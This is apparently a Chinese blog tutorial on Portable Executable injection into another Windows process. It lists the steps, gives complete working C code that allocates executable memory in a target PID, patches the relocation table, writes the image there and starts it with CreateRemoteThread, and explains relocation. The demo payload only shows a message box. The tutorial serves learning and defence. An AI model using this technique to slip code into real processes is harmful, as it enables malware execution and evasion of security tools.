进程注入之Portable Executable Injection,PE注入的核心是创建远程线程,注意重定位表修复
PE(Portable Executable)注入是一种常见的代码注入技术,主要用于在目标进程中执行恶意代码。以下是PE注入的基本流程:
1. 获取当前PE映像的基地址:使用GetModuleHandle(NULL)函数获取当前PE映像(即要注入的代码)的基地址。
2. 复制PE映像:使用VirtualAlloc函数在当前进程中分配一块新的内存,然后使用memcpy函数将当前PE映像复制到新分配的内存中。
3. 打开目标进程:使用OpenProcess函数打开目标进程。目标进程是我们要注入代码的进程。
4. 在目标进程中分配内存:使用VirtualAllocEx函数在目标进程中分配一块新的内存。这块内存用于存放我们要注入的代码。
5. 计算基地址的偏移量:计算新分配的内存(在目标进程中)和当前PE映像的基地址之间的偏移量。
6. 重定位PE映像:根据计算出的偏移量,修改PE映像中的所有相对虚拟地址(RVA)。这一步是必要的,因为PE映像中的代码和数据通常都是基于相对虚拟地址的。
7. 将PE映像写入目标进程:使用WriteProcessMemory函数将重定位后的PE映像写入到目标进程的内存中。
8. 在目标进程中执行PE映像:使用CreateRemoteThread函数在目标进程中创建一个新线程,然后在新线程中执行PE映像的入口点函数。
以上就是PE注入的基本流程。需要注意的是,PE注入通常需要管理员权限,因为它需要打开其他进程并在其中执行代码。此外,PE注入也可能被防病毒软件检测到,因为它是一种常见的恶意代码注入技术。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #include <stdio.h> #include <Windows.h> typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; DWORD InjectionEntryPoint() { CHAR moduleName[128] = "" ; GetModuleFileNameA(NULL, moduleName, sizeof (moduleName)); MessageBoxA(NULL, moduleName, "Obligatory PE Injection" , NULL); return 0; } int main() { int pid = 14940; // Get current image's base address PVOID imageBase = GetModuleHandle(NULL); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(( DWORD_PTR )imageBase + dosHeader->e_lfanew); // Allocate a new memory block and copy the current PE image to this new memory block PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE); memcpy (localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage); // Open the target process - this is process we will be injecting this PE into HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, pid); // Allote a new memory block in the target process. This is where we will be injecting this PE PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Calculate delta between addresses of where the image will be located in the target process and where it's located currently DWORD_PTR deltaImageBase = ( DWORD_PTR )targetImage - ( DWORD_PTR )imageBase; // Relocate localImage, to ensure that it will have correct addresses once its in the target process PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)(( DWORD_PTR )localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); DWORD relocationEntriesCount = 0; PDWORD_PTR patchedAddress; PBASE_RELOCATION_ENTRY relocationRVA = NULL; while (relocationTable->SizeOfBlock > 0) { relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof (IMAGE_BASE_RELOCATION)) / sizeof ( USHORT ); relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1); for ( short i = 0; i < relocationEntriesCount; i++) { if (relocationRVA[i].Offset) { patchedAddress = ( PDWORD_PTR )(( DWORD_PTR )localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset); *patchedAddress += deltaImageBase; } } relocationTable = (PIMAGE_BASE_RELOCATION)(( DWORD_PTR )relocationTable + relocationTable->SizeOfBlock); } // Write the relocated localImage into the target process WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL); // Start the injected PE inside the target process CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(( DWORD_PTR )InjectionEntryPoint + deltaImageBase), NULL, 0, NULL); return 0; } |
为什么需要重定位PE映像?
PE映像需要重定位是因为PE映像中的代码和数据通常都是基于相对虚拟地址(RVA)的。当PE映像被加载到不同的地址时,这些相对虚拟地址就会变得无效。因此,我们需要根据新的基地址重新计算这些相对虚拟地址,这个过程就叫做重定位。
具体的做法是,首先计算新旧基地址之间的偏移量,然后修改PE映像中的所有相对虚拟地址。这些相对虚拟地址通常存储在PE映像的重定位表中。
在你的代码中,重定位的过程如下:
这段代码首先计算了新旧基地址之间的偏移量deltaImageBase,然后遍历了PE映像的重定位表relocationTable,对每个需要重定位的地址进行了修正。修正的方法是将原来的地址加上偏移量deltaImageBase。这样,当PE映像被加载到新的地址时,所有的相对虚拟地址都会指向正确的位置。
补充:
在PE文件的重定位表中,除了全局变量的地址,还可能包含以下内容:
1. 函数地址:这包括全局函数和静态函数的地址。当PE映像被加载到新的地址时,这些函数的地址也需要进行重定位。
2. 指向数据的指针:这包括全局指针和静态指针。如果这些指针指向的数据在PE映像中,那么当PE映像被加载到新的地址时,这些指针也需要进行重定位。
3. 跳转和调用指令的目标地址:这包括跳转指令(如JMP和JZ)和调用指令(如CALL)的目标地址。当PE映像被加载到新的地址时,这些指令的目标地址也需要进行重定位。
总的来说,重定位表中包含了所有需要在加载时进行重定位的地址。这些地址通常是全局变量、函数、指针和指令的目标地址。
因为PE被注入到其他进程中,肯定是要修复重定位表的,因为这些全局变量、函数的地址啥的肯定都变了!这就是重定位PE映像的原因!
至于创建远程线程,之前的文章已经讲过了!可以参考,不再赘述。
参考:https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2019-09-21 Charles 4.2.1 HTTPS抓包
2019-09-21 ARP欺骗
2018-09-21 LSTM CNN GRU DGA比较
2018-09-21 识别User Agent屏蔽一些Web爬虫防采集
2017-09-21 MDNS的漏洞报告——mdns的最大问题是允许广域网的mdns单播查询,这会暴露设备信息,或者被利用用于dns放大攻击
2017-09-21 威胁报告:mDNS 反射式 DDoS 攻击
2017-09-21 基于UDP的DDos反射放大攻击